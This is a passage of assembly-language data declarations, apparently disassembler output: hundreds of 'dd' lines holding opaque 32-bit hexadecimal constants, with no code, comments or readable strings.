		dd 9E1A0860h, 1D2B754Fh, 0AEDFD042h, 0CBCFEABEh, 75023030h
		dd 0A40AD762h, 55B40A7h, 8216ADF0h, 8B073560h, 14F86C4h
		dd 0C66A98FAh, 5304409h, 291B5D0Ah, 0A2F02E4Bh,	4F34E851h
		dd 0DF29E930h, 0C9B33A96h, 59056A0Bh, 0ACDDD0E3h, 0D89B1A4h
		dd 63B5556Bh, 23C1EB2Dh, 18672E6Dh, 64ABADC4h, 9A185A05h
		dd 733FF774h, 3006BCB6h, 0E8C88A04h, 0FE804AA8h, 0C36ECA89h
		dd 3FDA0923h, 0C0AE15Fh, 1302E320h, 0AD88FB24h,	0C89D732Ah
		dd 6B031061h, 2662CAC8h, 8CBEF07h, 818A20B3h, 68911A3Ch
		dd 0D1478AEh, 1AB60B74h, 228FF47h, 0DF49705Bh, 18739A83h
		dd 0B4A1455Eh, 0FE069297h, 0C65E9690h, 470D3707h, 6673958Bh
		dd 0D6BD59CCh, 23D54812h, 660A44D1h, 0D1474E15h, 6E417459h
		dd 0D448F132h, 4C5C3542h, 8B8F1720h, 88470B00h,	0EB053144h
		dd 483B4829h, 803A753Eh, 0DDC8FFB7h, 18EBD42Eh,	0A7E29CD7h
		dd 406CE74Ah, 451741Ah,	53C01478h, 0A2E21093h, 89EB0267h
		dd 49745E25h, 938806F4h, 88028FE5h, 618E2B0Dh, 4896F61h
		dd 4AED3E6Bh, 0BE443E91h, 0FCA887Eh, 5A5DC495h,	353FBD0h
		dd 0F333FBE4h, 0B0B0BF2Ch, 178B4DBFh, 0AFDB339Ah, 78AE1C8h
		dd 74613C07h, 6A72461Ah, 0C3B02AF1h, 74CD9222h,	8B0359B9h
		dd 0CE05F44Ah, 0F908DDFDh, 1427B309h, 5A900F02h, 897C478Ah
		dd 4D04C33Ah, 0D33B45E3h, 5F51F2FEh, 0F80C5CA9h, 607E7F54h
		dd 2B75E8EEh, 190A4567h, 0E0936A4h, 9A148C75h, 3941CDACh
		dd 0A3CAE7C4h, 508CFE55h, 2015C983h, 2315B7EBh,	13724A8Eh
		dd 0EAE810A2h, 5F147D37h, 6F249848h, 29097316h,	0FCAB86FEh
		dd 3181F620h, 0EB4780CEh, 67FD2A82h, 75C88503h,	93A40B59h
		dd 0CC9EECC0h, 4874621Ch, 102EB379h, 4C12C30Bh,	402CF70Ah
		dd 1E912825h, 2ACD803Bh, 0F8C8CF1Fh, 9EBA2EA9h,	0BF722F70h
		dd 17175CE7h, 94CE1685h, 77175902h, 0D2803074h,	84720CABh
		dd 0A4683486h, 4CCC8D4Bh, 3B5B32AEh, 0F7C4DAC3h, 0DF7DCB62h
		dd 0D41ADDA5h, 0ACCEC2A8h, 70894D48h, 583B9990h, 0A183304h
		dd 1C063F08h, 0CC104813h, 0ABB715CBh, 33266057h, 6C90BFEDh
		dd 7E0B57D5h, 791D8B5Dh, 1FFB1EB1h, 74CDC10Fh, 6141F615h
		dd 40666060h, 0F0E0E3B5h, 0FEC7CC2h, 348B3FEBh,	40245DFDh
		dd 0C1206AF8h, 549702E7h, 0B0D657Dh, 0EB0B8930h, 3C81E971h
		dd 74FD3B07h, 0ECF7B130h, 0C0F0AAF5h, 6E89FF55h, 0F87BEC6Eh
		dd 2E64EEB6h, 8BEB1C0Ah, 8B512574h, 98EDEF8h, 0B868F981h
		dd 0CCBD0C77h, 4B705FAh, 1252EB41h, 0F0250C2h, 0E8F9C117h
		dd 0E2448FD4h, 0DC5E8001h, 0FE650EB7h, 0FC4D8803h, 6AFD4598h
		dd 87A5024Ah, 90770FDEh, 0A4D8DF1h, 0B296AE9Ah,	25AF5112h
		dd 98ABDBFh, 0FDF43402h, 46F32EC4h, 451CA8E4h, 0CD3230Ah
		dd 0A596CCE9h, 0FE006FE2h, 82A8105Eh, 0F384250Fh, 8EB4D31h
		dd 0B131B801h, 10263C99h, 0D401CB33h, 71FE2408h, 0EA5071BBh
		dd 40BFB2EEh, 98EF2473h, 8166BBE5h, 88FE8122h, 32AE3CD5h
		dd 29A81008h, 0F1533E86h, 773D3625h, 81B2A9ABh,	821A05Dh
		dd 5E745701h, 165ED964h, 0B2C4A4F0h, 1DBE4918h,	7E04844Dh
		dd 7A85BA10h, 1CD368E9h, 33EBCBCFh, 169EA2F5h, 0CB96418Bh
		dd 8372FC71h, 0DD850410h, 0B821C8D0h, 89FDF61Fh, 0FD0D7420h
		dd 62537D61h, 8AB59899h, 0EB88E64Dh, 0E52E7061h, 5A5FF1B1h
		dd 42392C53h, 6745F05h,	0EB12B2EDh, 25704B0Fh, 0DEF526FAh
		dd 8E263459h, 0EB39D5A5h, 9EF52E48h, 9B1E67Fh, 9471F8Ah
		dd 66E97F00h, 2051DBECh, 1106E50Ch, 7631F04Dh, 0C0F70B5h
		dd 3914D03Fh, 0FEC5506h, 631DC8Ch, 7C20FB80h, 78170A13h
		dd 0C2BC0E7Fh, 1C2F8A3Fh, 0E083D240h, 616139F7h, 3CC68420h
		dd 0E1091FADh, 1077985h, 870FD08Ah, 5863A79Ah, 0DA607760h
		dd 4A7C924Bh, 0D806CC19h, 0E404E002h, 0DC13FC08h, 47F6CF46h
		dd 81269893h, 0A9D3BE5h, 3D2D5003h, 481F1C08h, 0D24F396Ch
		dd 8359A60Dh, 8FC748Ah,	413B228h, 800CFF14h, 12629D83h
		dd 2AFB3002h, 15237524h, 99CF12Fh, 4AD71EF7h, 8D9E0276h
		dd 4479012h, 1FD868F7h,	2F8B9828h, 8E9DCBBEh, 41446085h
		dd 0A1E9EBD0h, 0EDD1F08Bh, 8BE842Fh, 0F0F11E3Fh, 905D301h
		dd 3A59C004h, 3A468968h, 7439D06Fh, 0ED0C49CBh,	20EA680Ah
		dd 0B9466C81h, 50AFB20Ah, 524D4DA0h, 10C8B9FDh,	3F182051h
		dd 1475361Dh, 349D7F5Eh, 0C62A0E9Fh, 7892FD7Bh,	8905198Ah
		dd 551799D0h, 140DFB1Dh, 0C22ACEF6h, 0D6771974h, 34F46BCBh
		dd 4280F6C2h, 47ECA6B1h, 35198F69h, 0F8532C2Fh,	8F156776h
		dd 79BA021Ch, 96C36550h, 589617E1h, 28F89124h, 187850E2h
		dd 35435FE8h, 706E4C27h, 22D46C09h, 0E98508FCh,	26C42403h
		dd 0AF301754h, 93C1BA10h, 883F3BE1h, 6ABFBE7Eh,	831A9645h
		dd 9AEDD22h, 0D168C8D2h, 141FE84h, 90F822Bh, 0D094BA82h
		dd 0C63F262Dh, 43B527EAh, 4ED69027h, 42D26485h,	4EAC53D4h
		dd 15CAF366h, 0EB2D4071h, 4BB53E7h, 9020C380h, 0BD8D4014h
		dd 0B7E5C97h, 2F75CA3Bh, 44CF895Ch, 6F0227Fh, 0BFF2CC88h
		dd 78218EADh, 2F248721h, 0F83A8921h, 0E90EF4BFh, 8C638885h
		dd 0B690F401h, 80327D32h, 0EB5F82D8h, 5AD48329h, 750AF674h
		dd 48C53709h, 0E98BC8FAh, 0A09BF108h, 88592AC4h, 9FD4BD3Bh
		dd 0C34B4868h, 0F5E91314h, 74036849h, 488B330Bh, 2E515004h
		dd 2486F62Ch, 0F17079Ch, 0E8D102BFh, 0F43311D7h, 3215E75Dh
		dd 0FACA2B87h, 0F103C4Dh, 9190A146h, 509C330Ah,	3FF31D17h
		dd 150E8112h, 5F07A967h, 0BAD43BCCh, 85CC2D51h,	90D89D7h
		dd 988EBCF0h, 40C6B84Dh, 0BC491EFCh, 9DD242C9h,	8B9577FFh
		dd 0A59F5EFBh, 0DA01ECE2h, 2DE68114h, 5A743C6Eh, 364877B9h
		dd 42642543h, 5E594A2Ch, 0F6851205h, 8624172Ch,	2D1257A6h
		dd 3B560D75h, 0B9542A1Fh, 4A6294E1h, 35EA34EBh,	691A09A7h
		dd 0B1D11706h, 7F0512C9h, 27AFCC1Ah, 74160714h,	0C6812751h
		dd 95F969FDh, 4D24B129h, 7DC92792h, 27D4DCA3h, 3CEB2112h
		dd 4845BBEDh, 8C90FE58h, 742FF7AEh, 0B11B0E08h,	514EF134h
		dd 838FF25h, 8A073E54h,	8017CC74h, 742ECCABh, 288A5D33h
		dd 30EAE0C6h, 0EF515A04h, 88022959h, 48C5EBF5h,	8408224Ch
		dd 2C33B54h, 9835EB24h,	2039245Bh, 66090B9Ah, 89E89870h
		dd 5EB081Bh, 0F60E5711h, 40A36B4Ch, 6A0A7B2Ah, 742B6098h
		dd 2B023B0Ch, 8341EB59h
		dd 2621743Eh, 644B400Dh, 4010D90Ch, 0EB99C0BCh,	3E0C2553h
		dd 0F2577BB7h, 0A082321h, 4208E0EBh, 1A82D233h,	0E4811B74h
		dd 787C177Fh, 11731358h, 9D7C53ACh, 0DAE95A8Eh,	0FAC06A13h
		dd 18DA04EBh, 7578000Ch, 0E1E78303h, 4973B322h,	38DAFE09h
		dd 0F70372F0h, 0C70BC68Bh, 0E4153875h, 0AAB7C264h, 5F614389h
		dd 968A6261h, 201A067Fh, 0F420C0EFh, 57505299h,	0FFA58995h
		dd 0EF17C7C3h, 0D0BB20CDh, 30C38331h, 55C010C9h, 0B0CC5790h
		dd 3950FBFAh, 3717E68h,	62D45D33h, 0C8273F8h, 0B5EB1888h
		dd 1BDA2BA3h, 2802406h,	3F84A6D5h, 1580C0F0h, 0AA753039h
		dd 4B660B48h, 0C61A2140h, 5373001h, 9483D899h, 108BF85h
		dd 0F6FC5D8Bh, 26D343C3h, 8A5DC7AAh, 2D868BDAh,	842014EBh
		dd 402B7B0Bh, 0BF60209h, 9F242089h, 92408A01h, 0EBE72BE0h
		dd 32F40632h, 0CE79620Ch, 6A561785h, 0B5842220h, 0CCAB1005h
		dd 2BD3EA50h, 0F68C61AFh, 5A2DB4E6h, 520A3FD6h,	30C83204h
		dd 0DC8A0552h, 0B469AEB1h, 20FC7E29h, 8DF8098Fh, 0DE03FF78h
		dd 913A4303h, 0DFB176C8h, 926F1ADh, 0EA098D32h,	1828F8CAh
		dd 0C78BC15Ah, 0D0DC504Fh, 59A615EBh, 93125F97h, 0AD82783Ah
		dd 0A6977404h, 46FC09A5h, 510D4FAh, 0EDF91313h,	9CEC2116h
		dd 1F421CDEh, 1941DCB4h, 991B09CFh, 5A095219h, 22228F12h
		dd 7B717F01h, 0FF0C4D00h, 7A780449h, 8A11250Eh,	7F02CCC1h
		dd 98B6E1A0h, 0AD0B5B31h, 0E9E997F9h, 9FF88319h, 7E107E10h
		dd 0C35D1E8Dh, 0FD086BF8h, 0AA18A31Ah, 195217Eh, 0FF5618DEh
		dd 1AD70BA5h, 0E6BAE4F5h, 71CCA3Eh, 0B97F9321h,	0D7EA4B59h
		dd 4BEDFE14h, 26659972h, 6D971C7Bh, 6220310h, 6D7D4657h
		dd 21375057h, 6F50363Fh, 9D5BE240h, 0C3835591h,	50177E9Fh
		dd 8CF0D53h, 304104B9h,	0FC525164h, 0DA668F1Dh,	7371FD3Ch
		dd 0F8C2B848h, 764F62E2h, 0A1441202h, 0E6AD7F95h, 332D6A22h
		dd 0D2F4C3DBh, 0F6022956h, 0E1CAA0B8h, 72744940h, 42EABCB8h
		dd 0D1903D18h, 0BFF17C1Ah, 5C619EDCh, 0A8154270h, 5524319Dh
		dd 802F406Ah, 0D260BFBFh, 0AD18ED4h, 518901E8h,	0AAABF387h
		dd 7E641D92h, 860F041Eh, 7DF9A4EFh, 8414EE62h, 12D02ABBh
		dd 0B785EAEFh, 46500AF3h, 8FF6F41h, 0F2C23BA7h,	26839387h
		dd 8B2E6188h, 0EE144304h, 1792A653h, 0C052348Dh, 4E6C11Fh
		dd 9E2AAA7Ah, 0F29592B0h, 74CB0315h, 1518A2Ch, 256A8E77h
		dd 0FA818C7Eh, 1477C73Bh, 8AC5033Ah, 43149892h,	30479008h
		dd 0F5762840h, 813BE341h, 3BD4752Dh, 8E131352h,	2F0422A0h
		dd 65F2C172h, 0D15C0512h, 0A3F78CBEh, 0CA8ADA4h, 8D182CF9h
		dd 0BF79A4B6h, 0A521CB50h, 0BC8A08F7h, 55EB064Fh, 0FF792C83h
		dd 0FA489235h, 0B058AE92h, 5A4008A2h, 7267423Dh, 3AA856F1h
		dd 5055482Dh, 0FBA206EBh, 22C30C08h, 2AB604Eh, 1D390DEBh
		dd 13814C4Ah, 31420E74h, 8805865Fh, 0B2C1BF3Ch,	702D3FC8h
		dd 224525F1h, 75FE5643h, 0F9987C10h, 2524FF18h,	0FD656B54h
		dd 86581568h, 0F75FC09h, 0A15EDCA1h, 894A481Ah,	0F462A42Dh
		dd 0E85E61F5h, 2E17ABEBh, 1FF00D0Ah, 0DC035848h, 0C7FFB8C3h
		dd 12554376h, 808F106h,	5712F911h, 0E3C16D42h, 2B6D27C0h
		dd 18A9B5AAh, 43C6D2BAh, 5FC444DDh, 146249B6h, 917F0B05h
		dd 0E823FFA7h, 16F20B48h, 0A4BE7C2Ch, 84881388h, 0FD49EE05h
		dd 5838D040h, 0F23B31F4h, 4A0E8528h, 1C3A820h, 8D575337h
		dd 133AF355h, 0AB40578Bh, 5C1D7409h, 2BBC15B6h,	20B8410Dh
		dd 95C97F03h, 27FF8505h, 42AA7395h, 0FF9B8A8Bh,	0DE96A4Ch
		dd 0E86A5B5Fh, 68FA8890h, 7B488EEAh, 6231F749h,	0D20F7D56h
		dd 4473E7EAh, 1FAE561Eh, 883549F5h, 64A82249h, 0AC4F2EFCh
		dd 0A428D077h, 875C68C2h, 731A8DCBh, 11123A26h,	49748FF0h
		dd 1081FB16h, 4705948Ah, 6090D265h, 81CEB23h, 10740236h
		dd 0B92620C4h, 80E3EB0Ah, 82241DA0h, 12A3D24h, 49EBBF12h
		dd 1FFA1674h, 0A1999C9h, 18AB315Ah, 0C1F2C84Ch,	53F9207Bh
		dd 320C1F4Ah, 0A137261h, 0E772B7Ah, 0E93C334Fh,	59E0EBA9h
		dd 0BE978B4Dh, 55F77A5Eh, 47FA594h, 0B4FD6AC1h,	5948499Eh
		dd 0D39411FDh, 3DE021D3h, 0E92E445Ch, 68931EAh,	0CD7B1175h
		dd 0CE7DFE29h, 63EB2720h, 38560FC1h, 0D23D2EADh, 4A018A84h
		dd 0F6F08780h, 8075B186h, 13740788h, 35CD4147h,	1AB52F19h
		dd 14AE4916h, 9908CA88h, 0CB752E10h, 67800AE0h,	0CF19FF4Bh
		dd 8060FE0Ch, 7F4A5CC2h, 8D625E33h, 0DC8F01BAh,	0B531D1A9h
		dd 5F340DCAh, 0E65D4F5Fh, 0C5ED93C7h, 0AF106188h, 0A6107AC8h
		dd 0A0099490h, 8B68FCE4h, 0FB528108h, 287D12C0h, 2CF2CFBh
		dd 58A25342h, 62FE0204h, 101D6BC4h, 0C2EC930Eh,	947D7CDAh
		dd 3C1195C3h, 84030CFCh, 0A4EA0848h, 0A9C978FBh, 679FC29Ah
		dd 0C8F649CAh, 76D233C2h, 0A4B86424h, 8163B06h,	0CF802074h
		dd 4AF83D42h, 0C3135ED2h, 1D7213F9h, 77240A0Bh,	5B205E18h
		dd 0D5046A0Ch, 0A3A35794h, 0F981E911h, 72CC463Eh, 0CA451012h
		dd 88082608h, 45B70A76h, 3C6A7D4h, 53C3899Dh, 7725BF63h
		dd 5D977E66h, 0AD0B3724h, 0D1638A82h, 0B5EE66A5h, 75029AE6h
		dd 853C8352h, 98674650h, 0BF0A8459h, 758593FCh,	71BB5320h
		dd 0F60789FFh, 1446A840h, 0E89D1590h, 0CC58065Fh, 406180Ch
		dd 3F8BE6A0h, 14CC5EFAh, 0DF3E267Eh, 8166C010h,	11020C4Eh
		dd 6A12B9D3h, 831588BAh, 0FC2BDF97h, 0D672440Bh, 106DE19Dh
		dd 8C3E29E9h, 667C8083h, 2783EE3Ah, 0D08F7A18h,	592DC30Eh
		dd 44C8D4E4h, 50078840h, 2866266Dh, 4341C43Eh, 0B884EB85h
		dd 91BC9390h, 84068A12h, 0A4C86C5h, 130FCC3Bh, 21EF09E1h
		dd 0B405EB32h, 8EBB360Bh, 0D1C0212Ah, 0C23A19C0h, 71DC36ECh
		dd 456CE720h, 20024B08h, 8893D08h, 46468E26h, 13385401h
		dd 32BB10CFh, 12960E9Ch, 80EE92C1h, 9E70253Eh, 900852D9h
		dd 0E809CB32h, 0F248E924h, 0EA2EF191h, 0CFF1AB6h, 9B048342h
		dd 88EDAFE4h, 45C6F403h, 0E3201F3h, 95E8AD0h, 46C73477h
		dd 0AD48A704h, 0FFF44540h, 6456EEE7h, 2DAC4344h, 65EB007Dh
		dd 7F4EFB83h, 5E65743Eh, 95F12A0Eh, 54E946F1h, 18540AA7h
		dd 754C0A30h, 0C8FE6737h, 7E8030EBh, 2CF63601h,	0BD140CD6h
		dd 23F274A1h, 0FCD07CCBh, 5B20AF38h, 27EBF08Bh,	0ACF246CEh
		dd 94685A22h, 6CA83AC5h, 40777A37h, 0EB36F108h,	0FD06790Eh
		dd 4DF59C61h, 13F810B9h, 82F17D80h, 0D4EB4F5Bh,	9F21427h
		dd 0FDA2E2C9h, 30BC1C91h, 0CDE04A3h, 0D469916Fh, 0A07DEA4Ch
		dd 901475E4h, 533C3788h, 4F43479Ah, 6078800Dh, 0EDA304ACh
		dd 1FDC01B2h, 3313CA20h, 0D606CE83h, 19826EFEh,	102874C4h
		dd 7D7A7C63h, 39FD7B5Fh, 1015FA5Fh, 871BD270h, 0E109C1Fh
		dd 0FC5A0C3Fh, 0F2398A69h, 0A09740Ch, 0DC82A1F4h, 6665E678h
		dd 5EDD816Fh, 211E0602h, 6319050Ah, 11FE2C12h, 4F80164h
		dd 6A8E318Ah, 7E67860Fh, 691A0A38h, 82E31B74h, 2802579Bh
		dd 4EC3ADBCh, 8FCD4C70h, 17D8C0E9h, 5E64286Ah, 32D0B098h
		dd 7E422DFBh, 0E90EA828h, 137A4D01h, 0B58D2B82h, 0EF8CFE3Ch
		dd 0E147537h, 640B9D88h, 18523D22h, 752B2650h, 4855174Dh
		dd 0DCF42728h, 0ADA86876h, 0EC458E7Eh, 83EFA4FFh, 2FE1E0E6h
		dd 4DF40FA4h, 7E259D5Dh, 92BA042h, 443761Ch, 21DC22A5h
		dd 15A86613h, 0E40AB017h
		dd 5E461E88h, 3138BBF0h, 758B881Dh, 5C295C66h, 0A09423A5h
		dd 650741Ch, 6EA5462Ah,	0E4C9815Eh, 0F3D975C2h,	6551F220h
		dd 450A92D2h, 1080250Eh, 76053947h, 3D6506C6h, 752D5637h
		dd 86057528h, 8A274649h, 28CC2C1Eh, 56AC9A21h, 0A7D0640Fh
		dd 641221AFh, 98136408h, 0C653A022h, 0D0A28494h, 0F612A466h
		dd 0DDC6405h, 9F154DA0h, 2653CC50h, 0FE3C8381h,	0BE0F5000h
		dd 5090C898h, 6148D425h, 0B81428BFh, 49F895CCh,	0D8845A52h
		dd 84786EADh, 7E13B691h, 0AEEAA64Fh, 43D304BFh,	9F031BC8h
		dd 0E8836381h, 0AF86F70h, 4EB6A292h, 0A4D912EBh, 11AC96B6h
		dd 0A21AC34Eh, 43BDC213h, 633BF2D7h, 3FFA22A7h,	0EB562C98h
		dd 4C3128Ah, 0CABC2A22h, 6271281Dh, 74EA8B51h, 3F804166h
		dd 0A74A9C5Eh, 8DC70A22h, 0A9720178h, 0ED221532h, 440C4C75h
		dd 0F128C0D7h, 1158EB01h, 3671F50Eh, 74AD30FBh,	1A5B08D5h
		dd 314076D2h, 9D2F743Bh, 2A535810h, 4C65F31Fh, 6A38A057h
		dd 0BF5E626Fh, 2F8AF804h, 283A2B3Bh, 306A1436h,	0F52C165Bh
		dd 8C60D36Dh, 0EB786A85h, 0E91091CFh, 0C5607F4Ah, 0D2B5FFE8h
		dd 0FB9C5ED5h, 7BD1B63Dh, 0C6031A61h, 0B209A95Dh, 568947D1h
		dd 0FE8120A7h, 6ECB558Ah, 7487611Fh, 95B475Fh, 42277D36h
		dd 0CD7F93Dh, 7362039h,	73D13A47h, 0EBC1C304h, 7AC2083Bh
		dd 772FD0F8h, 6900C21h,	0F22B07F0h, 20CA8B46h, 7E183C2h
		dd 0DE01B325h, 39CE488h, 0EB754E42h, 0B4EBE932h, 8AC84481h
		dd 5EC18BD0h, 9BEB1A1Fh, 19948ECh, 85118A04h, 354E2503h
		dd 0D4CACF78h, 769F1A64h, 0D02B3DA5h, 9348A9E5h, 3E43290Eh
		dd 844882A3h, 0CDF2EFB4h, 0C7E3250h, 16AC88Bh, 2C985ACBh
		dd 0D3E85D0Ch, 30C11CE2h, 4C1603F9h, 33029C0Dh,	74D185CBh
		dd 32CF4460h, 0EA0C5275h, 912EFADEh, 0C8458861h, 0CC4E312Ch
		dd 4FAE0D47h, 0C92E5967h, 491D7EDBh, 0EA7B13FFh, 454076C2h
		dd 0ABAD97CBh, 622E4AFDh, 3BC4114h, 9E011A65h, 0A607E9D4h
		dd 0D05272D5h, 50B54408h, 3951B0AEh, 28A501BAh,	84CE3203h
		dd 5634027Fh, 72E348E6h, 0A03286A1h, 0BA45ED4h,	0C1B12083h
		dd 29084D80h, 85CA594Fh, 0C6C90675h, 4E228031h,	92EF59ADh
		dd 4D5CD03Ah, 355D0194h, 0EFB9E9F1h, 75123E49h,	5F95CA4Fh
		dd 0A04CE8A2h, 51140DB2h, 55481725h, 9C14B9A3h,	0DC55CBD8h
		dd 0B559C706h, 53A0370Dh, 0CCE1E89h, 0D55D0719h, 1553CB4Eh
		dd 0F05DE6ECh, 15756F14h, 7D380AB8h, 3645053h, 0EE398465h
		dd 0DC39A3E2h, 79D862F3h, 609220CBh, 438D11C8h,	199D019h
		dd 3204111Ah, 0F0AE05E5h, 321524ABh, 57B22AAh, 0EDC8FF9Bh
		dd 8415E910h, 4DCFBBDCh, 0D16DA033h, 3AAFBCE1h,	611AECD9h
		dd 0FD54906h, 74C3B288h, 700A3A3Fh, 5EC53AA9h, 0A217642h
		dd 0E7C16C00h, 0F3FEB03h, 0D1BF3C8Dh, 4E48FF1Dh, 0BC1B5EBFh
		dd 398FF46Ch, 0DA08E445h, 1F7C158Dh, 6BCDED0h, 74E31B42h
		dd 42DFF7D1h, 1176468Ch, 0CECC996Bh, 29CF8C14h,	0D0995699h
		dd 4E351048h, 4D09FE05h, 0D7032908h, 10641550h,	62CDF33Eh
		dd 6138F2EFh, 0A9F66AEh, 58ED3BFEh, 59826AD2h, 0E9BD5142h
		dd 0C9030089h, 0FB4EC33Bh, 0E5550B49h, 0C41426A8h, 28993918h
		dd 42C8500Eh, 9FAD3E25h, 1EAC2AE6h, 0BE2A1F4Fh,	8B0CC867h
		dd 0E76EF787h, 0AEF09444h, 1369BD54h, 5C82F656h, 6BC7B230h
		dd 5105DAC4h, 96286AE7h, 73263917h, 10C485FFh, 9A32525Fh
		dd 948776CCh, 0F24EAC38h, 89F95B48h, 0ED79CC2Fh, 107E56E1h
		dd 4E1C86Eh, 0B65B68F3h, 697B9D21h, 4814F84Bh, 0EE0530E6h
		dd 0B1C68B07h, 0E1816B6Fh, 78CC4AFFh, 950AFA09h, 0C3EC7964h
		dd 0C3EC524Eh, 6FB389D6h, 0EC3BCCA1h, 9E83A47Eh, 0F69E5FBFh
		dd 102567B2h, 23980644h, 196CFDF8h, 0E7C7F4D6h,	8532D595h
		dd 0D7F08F02h, 644E7F0Ah, 184DD14h, 8D1E89BAh, 0FEED90Ah
		dd 1540F19h, 0E896AA8h,	963EE576h, 55F8C35Dh, 21CC725Bh
		dd 0A62E712Dh, 550C2070h, 58C9535Dh, 0B9B2AAEh,	0B8F15018h
		dd 0F1A50B9Fh, 27229A1Dh, 0FEE0F981h, 0D6E32F50h, 199D2022h
		dd 210A8E1h, 18814C09h,	570E3148h, 0A84096E9h, 64809A2Ch
		dd 11DD9D28h, 3810E29Bh, 9AA5500Ch, 0B895B28h, 70B17A9Eh
		dd 6BA3A209h, 21189098h, 35D025C9h, 53C03309h, 35407456h
		dd 0DD1BFA15h, 5B4CB412h, 8A770C0Eh, 0C1F6101Ch, 7F0D74C9h
		dd 8FDA8893h, 5809C000h, 0ACE4B704h, 93441284h,	158B9883h
		dd 12CB8402h, 4BCD9188h, 8E4614D2h, 2FE2957Bh, 19901331h
		dd 0B19AFCE2h, 0E3026A22h, 8050303Bh, 0CB23D1F7h, 4EFE283h
		dd 0B04E1C1h, 710FECAh,	0B32D4184h, 7783352Ah, 36BEE726h
		dd 7B173068h, 3364E9A3h, 0C17CFB2Eh, 2303E908h,	0ACFD10CFh
		dd 0FE60A105h, 2201755h, 2AC3846Ch, 1FE90774h, 0A0C4983h
		dd 0CF0B04A8h, 8F42FBFEh, 31FB7404h, 79091706h,	2020D3EFh
		dd 58514515h, 0C3B9E1B0h, 23BF00FDh, 3D3474C1h,	0BB3A6B9Dh
		dd 80E221Fh, 42F00C4Ah,	8347CF28h, 0CB5D03A9h, 0B659DD00h
		dd 0AF1CFD8h, 8F020C4Dh, 20A8D6CBh, 4220F845h, 0BE0321FCh
		dd 3EA60240h, 20042242h, 731AEBE3h, 4C9E9E7h, 0D4D0BF5h
		dd 890F0FE6h, 144D8350h, 5FEBF481h, 0F101264h, 0E267052Ah
		dd 0EAFE071Fh, 821B22D3h, 4879279Eh, 0D0E35E6Ch, 1D63E6F4h
		dd 2786DD18h, 105458EAh, 0ED86501Fh, 1C7DEC0Dh,	191144D0h
		dd 403E07DDh, 7A251022h, 2E530EC9h, 153CC7E3h, 3A427094h
		dd 0E440F61Ch, 83030304h, 137DFE26h, 4FB4484h, 2F74484h
		dd 84EF1584h, 0DF281A58h, 0FFBA16A7h, 0E16783F3h, 1CD21A59h
		dd 16D94925h, 75D80906h, 4E80171Eh, 18920901h, 0E507890Fh
		dd 8CDB3FBh, 100A2AD7h,	78B658F7h, 213402F8h, 0D1AE6C16h
		dd 4207E1B6h, 190F1334h, 2A8C1662h, 234A12EBh, 248CA67h
		dd 9230795h, 0DD5A1C03h, 1FA57940h, 91379477h, 57530939h
		dd 0E7091CD6h, 0B4B28A1Fh, 14745B01h, 0AB425D84h, 0EE6EE40Fh
		dd 2C5964ACh, 0D6BA0F7h, 13D8F449h, 701BF616h, 0D56A9B0Ch
		dd 1AFB1A62h, 0E4F5FD8Bh, 0E03DD3ECh, 15CFC8EAh, 8922146Ah
		dd 7FE012B8h, 0C8236A03h, 24883022h, 66E8F981h,	0E9A61058h
		dd 303B2831h, 8C7F9085h, 104DD82h, 78601DDCh, 5822A87h
		dd 978BD8F0h, 771D66D0h, 9C7ED902h, 5EFF45Dh, 202D6E41h
		dd 876358Dh, 0EB27DA4Ah, 28482D8Ah, 232E46E4h, 8A46BFF0h
		dd 0E079701Eh, 19949D0Ah, 9DFE21DAh, 3E8825A8h,	0FC32CEDAh
		dd 55F8D73Dh, 664CCB49h, 0CA07F325h, 48300ADDh,	8F46EC71h
		dd 56255F8Bh, 453D35D7h, 0FEAB0F07h, 0C90CFEC8h, 4098D59h
		dd 0FD80F5D0h, 0CC5FBCEh, 66C6097Dh, 0EB2BC58Ch, 73433854h
		dd 0D34A39B8h, 12D202B0h, 0ACFA458Ah, 5B4E4C0Ch, 0B813A9A9h
		dd 40FAB103h, 2B1F7D2Bh, 6084C134h, 9EE83EC5h, 7BD18144h
		dd 0F81CCF6Dh, 21CCE1D7h, 8B18BC02h, 0DAE37548h, 0C799D028h
		dd 18A221A4h, 6055B3EBh, 6A32125Eh, 0FDB52810h,	8A4BCEA2h
		dd 7D453EDh, 4A6A0B8Ah,	0C0EFC517h, 5FFF85B9h, 92E15B5Eh
		dd 5FA6A73Bh, 0EE5873E2h, 0BC51C425h, 2A74E40Dh, 0FB566492h
		dd 29146322h, 752B11AFh, 25BFC47Fh, 0D19681Ch, 7587FA28h
		dd 0E02B6F20h, 241F86D1h, 10B011E7h, 0EB595DF6h, 2D38923Ch
		dd 0C82AA48Dh, 9E280EDFh, 0F84FA359h, 3C647484h, 9C632A57h
		dd 2036349Eh, 97BCFD59h
		dd 12254BB8h, 7F42CDFEh, 58C57D15h, 1ECBC392h, 0C933097Bh
		dd 0C42908B8h, 0B03BC684h, 0E4E74C1h, 3D413FC0h, 0EDD344E0h
		dd 1BD9FA9Dh, 190CCD04h, 97598AC3h, 6A0B7E7Bh, 0AC16EB05h
		dd 0F0011098h, 29FAF10Eh, 8F061987h, 58031198h,	0DF13C35Bh
		dd 0E7D10AB0h, 498D2Fh,	0FCD90885h, 0A7FAF997h,	0BD34CE5Fh
		dd 890EE861h, 54FE0531h, 0D3DACDBh, 3A41800Fh, 0A40B17C3h
		dd 0B2FEA892h, 81BE8229h, 0F0F8687Dh, 9751F7Fh,	5908DD39h
		dd 483CD716h, 818CFF12h, 95852A75h, 0D17FF8B8h,	2166C8BAh
		dd 0EC27ACDCh, 0F9A41719h, 0F7136B89h, 1615B90Ah, 670CA807h
		dd 25B7459h, 765D586Eh,	95523A38h, 562C62D2h, 0A0892D6Ah
		dd 90084409h, 89ADA483h, 7066110h, 0E647466h, 0F326583h
		dd 57024D11h, 32BE33B9h, 736F6448h, 8CC1F9EAh, 0C3105EF6h
		dd 0C65D1DEh, 800B1212h, 683030Bh, 0A1A0116h, 0E7EB4E08h
		dd 0E963B89h, 4899ECEFh, 64E4915Eh, 0CECB5182h,	0F9DF2834h
		dd 16272BEDh, 91968B46h, 0FE0EA8E4h, 25662804h,	0BF0F04BEh
		dd 89EE81F0h, 42345526h, 5E308918h, 9B7D444Ch, 38FE7D35h
		dd 980E2C10h, 0A5E2DB1Bh, 1356270Fh, 0BD08FE25h, 0D723C812h
		dd 0D44D5769h, 1510AE0Bh, 0EF6D39E4h, 659C9147h, 0F624AFD0h
		dd 0A07B0C1h, 58892DDBh, 0FC5DECD9h, 9D0D9C9Bh,	84D8A810h
		dd 0E6838B12h, 0B26C961Bh, 129A1449h, 719A445Ah, 0DE3FE8E4h
